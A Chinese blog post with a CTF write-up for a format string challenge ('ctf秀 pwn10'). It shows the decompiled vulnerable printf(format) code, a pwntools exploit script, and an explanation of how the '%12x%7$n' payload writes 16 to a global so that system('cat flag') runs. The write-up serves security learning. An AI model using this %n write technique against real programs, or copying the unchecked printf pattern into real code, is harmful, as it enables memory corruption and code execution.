pwn-格式化字符串漏洞1

ctf秀 pwn10
题目:

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-80h]
  int v5; // [esp-10h] [ebp-7Ch]
  int v6; // [esp-Ch] [ebp-78h]
  int v7; // [esp-8h] [ebp-74h]
  int v8; // [esp-4h] [ebp-70h]
  char format[100]; // [esp+0h] [ebp-6Ch] BYREF
  int *p_argc; // [esp+64h] [ebp-8h]

  p_argc = &argc;
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  printf("try pwn me?");
  ((void (__stdcall *)(const char *, char *, int, int, int, int, int))__isoc99_scanf)("%s", format, v4, v5, v6, v7, v8);
  printf(format);
  if ( num == 16 )
    system("cat flag");
  else
    puts(aYouMayNeedToKe);
  return 0;
}

备注:printf函数没有加\n,输出就没有换行

脚本:

from pwn import *
r = remote("pwn.challenge.ctf.show", 28247)
num = 0x0804A030
r.recvuntil("try pwn me?")
payload = p32(num) + b"%12x"+b"%7$n"
r.sendline(payload)
r.interactive()

解释:

  1. b"%12x"
    功能:%x 是 printf 函数的格式化控制符,其作用是将参数以十六进制无符号整数的形式输出。%12x 则表示输出宽度为 12 个字符,如果参数不足 12 个字符,会在前面补空格。这里使用 %12x 是为了填充一定的字节数,让后续的 %n 操作能够正确地修改目标地址处的值。
    计算填充字节数:p32(num) 已经在栈上占用了 4 个字节,而 %n 要写入的是前面已经输出的字节数。为了让 %n 写入的值为 16,前面需要输出 16 - 4 = 12 个字节,所以使用 %12x 来填充这 12 个字节。
  2. b"%7\(n" 功能:%n 是 printf 函数的一个特殊格式化控制符,它不会输出任何内容,而是将到目前为止已经输出的字符数写入到对应的参数所指向的内存地址中。7\) 表示这是第 7 个参数。在这个 payload 中,p32(num) 是第 7 个参数(前面还有 printf 函数自身的一些参数),所以 %7$n 会把前面已经输出的字节数(也就是 16)写入到 num 变量的地址(0x0804A030)处。
    作用:通过这一步操作,就可以将 num 变量的值修改为 16,从而触发程序执行 system("cat flag"); 命令。
posted @ 2025-04-22 09:32  lethe311  阅读(5)  评论(0)    收藏  举报